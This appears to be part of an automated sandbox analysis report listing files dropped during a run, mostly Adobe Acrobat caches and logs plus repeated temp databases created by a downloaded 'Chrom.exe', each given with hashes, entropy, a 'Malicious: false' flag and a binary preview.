SHA-512:	5A54E99245B924726CF95242CD8C496F77AFCDEAB1FB32C8C382F4D8492172F42D93D538B2E13A6A476AED2FAFDEA686DD6FB190A6BBE96A4331BACA24A32391
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6075170999278554
Encrypted:	false
SSDEEP:	48:7MYKUUUUUUUUUUYvR9H9vxFGiDIAEkGVv0/qFl2GL7msj:70UUUUUUUUUUQFGSIt+KVmsj
MD5:	7A06D8A0C2E507366AE3EA00CBBAD432
SHA1:	87351A5091FCABCB52F236C4941CA6E44BFCCA93
SHA-256:	CF5B173E7220C71F3EB7707361A10F76B26E4C10F53A602C0A5449B0241C4063
SHA-512:	8C412EC2B8E9AA6174E49E479685AF2694A660FC55F3F8EACC93339F3E2F9B5C83D7B3A428F535A9B6B0B940859ED8564D238198558BBAC32DCF963D09041F73
Malicious:	false
Preview:	.... .c......Y........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgZuzKJ7W0Q0nmihTzTAFuOiBYyu:6a6TZ44ADEZUKJ7W0QKJbBK
MD5:	C6598340236DE433D7726B293C47E013
SHA1:	702319E88FF1A421C14186A43633D3D754B9E98B
SHA-256:	656EB069EDBB5A0B474AB8DA20441A82777710320E6C617DF3E3EF513E67FEBE
SHA-512:	92B04629B516C1F8109EA7156791BD85224836CE8D483285CD63F1CEBF530E81A26AFE43A93ECD009D0E322B6991EEEF5215BB842FD45DEBC9B4397B9FC5EFC9
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSI42a51.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.53559722477471
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84sClsQww:Qw946cPbiOxDlbYnuRKI6ww
MD5:	22FC49B09010D471CA50EACC4AD91F52
SHA1:	222E99C546AB69CF180DFD6638FE3E8C4363C1EF
SHA-256:	A24B7ACEFFD04F2B83CC8C5D81DD2C5A2147C0527118324AC56C8F99825318D9
SHA-512:	D1537F1685887D7BD3853E07D89F6EF680F4AF689097135EA90FBA184809579D27909A16CC52C69BAA5F361A98FF16ED79E60384039878D403FE6EDDF49C8FA2
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.4./.0.1./.2.0.2.5. . .2.1.:.3.6.:.3.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 21-36-34-092.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.34372734225117
Encrypted:	false
SSDEEP:	384:p/9Wl3XVi/6IAHFDhVKrn8gb30tZq3w+jkDvN5tOGSzvUvvSyhh7YDYZ4vZwLSpk:ONV
MD5:	8E6CF59F44EF4C87F408549B0C0AE88E
SHA1:	95056DFD1DEAFD3BF272400792EDDC58C58CC2D1
SHA-256:	5A4CFB741D44BA5A047EC29C369609742CCAF82BA63EC4264E58F88EA5A96CDA
SHA-512:	0918C852EC901642206CFEEE1456DC5CF370BFE7C623B1A927B0743DCF57FA8C75D41D24884934CC260FADA7F22F11133CFA5CF0D5B115791E760A2A4BB9CF27
Malicious:	false
Preview:	SessionID=6bff1ce8-e400-4690-ba6b-aa44bb7b0305.1736908594104 Timestamp=2025-01-14T21:36:34:104-0500 ThreadID=7340 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6bff1ce8-e400-4690-ba6b-aa44bb7b0305.1736908594104 Timestamp=2025-01-14T21:36:34:105-0500 ThreadID=7340 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6bff1ce8-e400-4690-ba6b-aa44bb7b0305.1736908594104 Timestamp=2025-01-14T21:36:34:105-0500 ThreadID=7340 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6bff1ce8-e400-4690-ba6b-aa44bb7b0305.1736908594104 Timestamp=2025-01-14T21:36:34:105-0500 ThreadID=7340 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6bff1ce8-e400-4690-ba6b-aa44bb7b0305.1736908594104 Timestamp=2025-01-14T21:36:34:105-0500 ThreadID=7340 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398747507691281
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rV:J
MD5:	7523C74DEC024FD54966BB9DD40A595E
SHA1:	F3196BCC2F0957A535DAA13916927FB56F553FB2
SHA-256:	FB523FD082CBCCB9D70CADA18A5FF25F5140F7139FD78BF87AB98FC23E447B54
SHA-512:	AE25F4BC1E14C35EA6D10CA7BB075828D99197413ADEE21150EEE3B85490C0E4812FE676A648EF2A8A2C3E39068277EA4D48043501DF820DF5C9DB5A43BC8126
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\88761d24-d0d5-4a08-a010-356b2fd5ddc0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c1867693-1697-42fd-9a41-f2da815ff74e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c1beb8b6-450b-463c-a7bd-e9ffd22acd17.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1647188
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wUYIGNPH:JVB3mlind9i4ufFXpAXkrfUs03WLaGZi
MD5:	D5AB6217228FD584489CAA4A05B63FF5
SHA1:	D4B7827955FB61D7A848211CCCACE7E2C7E13515
SHA-256:	237D1F9F20EBCE2B6BBAFE09FE83BE65D0614DD205632BCC27D1620169982793
SHA-512:	7D21E221A70C8CE8D7CF355F32C22B7F0CEB8AAFBB5D874D05BD4EE8C37AA2489EBF88CD1A57BA82164328A76D399BB1AA0585F8D4399E4D2DE88135586B1092
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e3cae67c-3c30-4d05-9c63-c351123df897.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\bhv8DFC.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6eec0579, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	15728640
Entropy (8bit):	0.10805027086476268
Encrypted:	false
SSDEEP:	1536:+SB2jpSB2jFSjlK/Qw/ZweshzbOlqVqmesAzbIBl73esleszO/Z4zbU/L:+a6aOUueqVRIBYvOU
MD5:	9F6FBA8CABF6D4ECDD5B285F375D352B
SHA1:	ED0D370573441F24C1FEF0F1D7A92DB58AA484D8
SHA-256:	4C764E2DF9F41B915772A2259A958DB29E6476693225882D1FBAE286C22AFB41
SHA-512:	75C78BF6271DBDFE3A044ADF75F84AF49867E63BD614F0A300A676A73A736432C16C2DA686177B01E01BE6018178CCD060FB009DA012AD876BFD632833046A0C
Malicious:	false
Preview:	n..y... ...................':...{........................Z.....9....{S......{w.h.\.........................-.1.':...{..........................................................................................................eJ......n........................................................................................................... .......':...{..............................................................................................................................................................................................,....{...................................H......{w.................2.G......{w..........................#......h.\.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bhvA378.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6eec0579, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	15728640
Entropy (8bit):	0.10805027086476268
Encrypted:	false
SSDEEP:	1536:+SB2jpSB2jFSjlK/Qw/ZweshzbOlqVqmesAzbIBl73esleszO/Z4zbU/L:+a6aOUueqVRIBYvOU
MD5:	9F6FBA8CABF6D4ECDD5B285F375D352B
SHA1:	ED0D370573441F24C1FEF0F1D7A92DB58AA484D8
SHA-256:	4C764E2DF9F41B915772A2259A958DB29E6476693225882D1FBAE286C22AFB41
SHA-512:	75C78BF6271DBDFE3A044ADF75F84AF49867E63BD614F0A300A676A73A736432C16C2DA686177B01E01BE6018178CCD060FB009DA012AD876BFD632833046A0C
Malicious:	false
Preview:	n..y... ...................':...{........................Z.....9....{S......{w.h.\.........................-.1.':...{..........................................................................................................eJ......n........................................................................................................... .......':...{..............................................................................................................................................................................................,....{...................................H......{w.................2.G......{w..........................#......h.\.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bhvB868.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6eec0579, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	15728640
Entropy (8bit):	0.10805027086476268
Encrypted:	false
SSDEEP:	1536:+SB2jpSB2jFSjlK/Qw/ZweshzbOlqVqmesAzbIBl73esleszO/Z4zbU/L:+a6aOUueqVRIBYvOU
MD5:	9F6FBA8CABF6D4ECDD5B285F375D352B
SHA1:	ED0D370573441F24C1FEF0F1D7A92DB58AA484D8
SHA-256:	4C764E2DF9F41B915772A2259A958DB29E6476693225882D1FBAE286C22AFB41
SHA-512:	75C78BF6271DBDFE3A044ADF75F84AF49867E63BD614F0A300A676A73A736432C16C2DA686177B01E01BE6018178CCD060FB009DA012AD876BFD632833046A0C
Malicious:	false
Preview:	n..y... ...................':...{........................Z.....9....{S......{w.h.\.........................-.1.':...{..........................................................................................................eJ......n........................................................................................................... .......':...{..............................................................................................................................................................................................,....{...................................H......{w.................2.G......{w..........................#......h.\.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bhvBCAE.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6eec0579, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	15728640
Entropy (8bit):	0.10805027086476268
Encrypted:	false
SSDEEP:	1536:+SB2jpSB2jFSjlK/Qw/ZweshzbOlqVqmesAzbIBl73esleszO/Z4zbU/L:+a6aOUueqVRIBYvOU
MD5:	9F6FBA8CABF6D4ECDD5B285F375D352B
SHA1:	ED0D370573441F24C1FEF0F1D7A92DB58AA484D8
SHA-256:	4C764E2DF9F41B915772A2259A958DB29E6476693225882D1FBAE286C22AFB41
SHA-512:	75C78BF6271DBDFE3A044ADF75F84AF49867E63BD614F0A300A676A73A736432C16C2DA686177B01E01BE6018178CCD060FB009DA012AD876BFD632833046A0C
Malicious:	false
Preview:	n..y... ...................':...{........................Z.....9....{S......{w.h.\.........................-.1.':...{..........................................................................................................eJ......n........................................................................................................... .......':...{..............................................................................................................................................................................................,....{...................................H......{w.................2.G......{w..........................#......h.\.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bhvBD1B.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6eec0579, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	15728640
Entropy (8bit):	0.10805027086476268
Encrypted:	false
SSDEEP:	1536:+SB2jpSB2jFSjlK/Qw/ZweshzbOlqVqmesAzbIBl73esleszO/Z4zbU/L:+a6aOUueqVRIBYvOU
MD5:	9F6FBA8CABF6D4ECDD5B285F375D352B
SHA1:	ED0D370573441F24C1FEF0F1D7A92DB58AA484D8
SHA-256:	4C764E2DF9F41B915772A2259A958DB29E6476693225882D1FBAE286C22AFB41
SHA-512:	75C78BF6271DBDFE3A044ADF75F84AF49867E63BD614F0A300A676A73A736432C16C2DA686177B01E01BE6018178CCD060FB009DA012AD876BFD632833046A0C
Malicious:	false
Preview:	n..y... ...................':...{........................Z.....9....{S......{w.h.\.........................-.1.':...{..........................................................................................................eJ......n........................................................................................................... .......':...{..............................................................................................................................................................................................,....{...................................H......{w.................2.G......{w..........................#......h.\.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bhvBD4A.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6eec0579, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	15728640
Entropy (8bit):	0.10805027086476268
Encrypted:	false
SSDEEP:	1536:+SB2jpSB2jFSjlK/Qw/ZweshzbOlqVqmesAzbIBl73esleszO/Z4zbU/L:+a6aOUueqVRIBYvOU
MD5:	9F6FBA8CABF6D4ECDD5B285F375D352B
SHA1:	ED0D370573441F24C1FEF0F1D7A92DB58AA484D8
SHA-256:	4C764E2DF9F41B915772A2259A958DB29E6476693225882D1FBAE286C22AFB41
SHA-512:	75C78BF6271DBDFE3A044ADF75F84AF49867E63BD614F0A300A676A73A736432C16C2DA686177B01E01BE6018178CCD060FB009DA012AD876BFD632833046A0C
Malicious:	false
Preview:	n..y... ...................':...{........................Z.....9....{S......{w.h.\.........................-.1.':...{..........................................................................................................eJ......n........................................................................................................... .......':...{..............................................................................................................................................................................................,....{...................................H......{w.................2.G......{w..........................#......h.\.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bhvBE15.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6eec0579, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	15728640
Entropy (8bit):	0.10805027086476268
Encrypted:	false
SSDEEP:	1536:+SB2jpSB2jFSjlK/Qw/ZweshzbOlqVqmesAzbIBl73esleszO/Z4zbU/L:+a6aOUueqVRIBYvOU
MD5:	9F6FBA8CABF6D4ECDD5B285F375D352B
SHA1:	ED0D370573441F24C1FEF0F1D7A92DB58AA484D8
SHA-256:	4C764E2DF9F41B915772A2259A958DB29E6476693225882D1FBAE286C22AFB41
SHA-512:	75C78BF6271DBDFE3A044ADF75F84AF49867E63BD614F0A300A676A73A736432C16C2DA686177B01E01BE6018178CCD060FB009DA012AD876BFD632833046A0C
Malicious:	false
Preview:	n..y... ...................':...{........................Z.....9....{S......{w.h.\.........................-.1.':...{..........................................................................................................eJ......n........................................................................................................... .......':...{..............................................................................................................................................................................................,....{...................................H......{w.................2.G......{w..........................#......h.\.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bhvC24B.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6eec0579, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	15728640
Entropy (8bit):	0.10805027086476268
Encrypted:	false
SSDEEP:	1536:+SB2jpSB2jFSjlK/Qw/ZweshzbOlqVqmesAzbIBl73esleszO/Z4zbU/L:+a6aOUueqVRIBYvOU
MD5:	9F6FBA8CABF6D4ECDD5B285F375D352B
SHA1:	ED0D370573441F24C1FEF0F1D7A92DB58AA484D8
SHA-256:	4C764E2DF9F41B915772A2259A958DB29E6476693225882D1FBAE286C22AFB41
SHA-512:	75C78BF6271DBDFE3A044ADF75F84AF49867E63BD614F0A300A676A73A736432C16C2DA686177B01E01BE6018178CCD060FB009DA012AD876BFD632833046A0C
Malicious:	false
Preview:	n..y... ...................':...{........................Z.....9....{S......{w.h.\.........................-.1.':...{..........................................................................................................eJ......n........................................................................................................... .......':...{..............................................................................................................................................................................................,....{...................................H......{w.................2.G......{w..........................#......h.\.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bhvC2C8.tmp

Download File

Process:	C:\Users\user\Downloads\Chrom.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6eec0579, page size 32768, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	15728640
Entropy (8bit):	0.10805027086476268
Encrypted:	false
SSDEEP:	1536:+SB2jpSB2jFSjlK/Qw/ZweshzbOlqVqmesAzbIBl73esleszO/Z4zbU/L:+a6aOUueqVRIBYvOU
MD5:	9F6FBA8CABF6D4ECDD5B285F375D352B
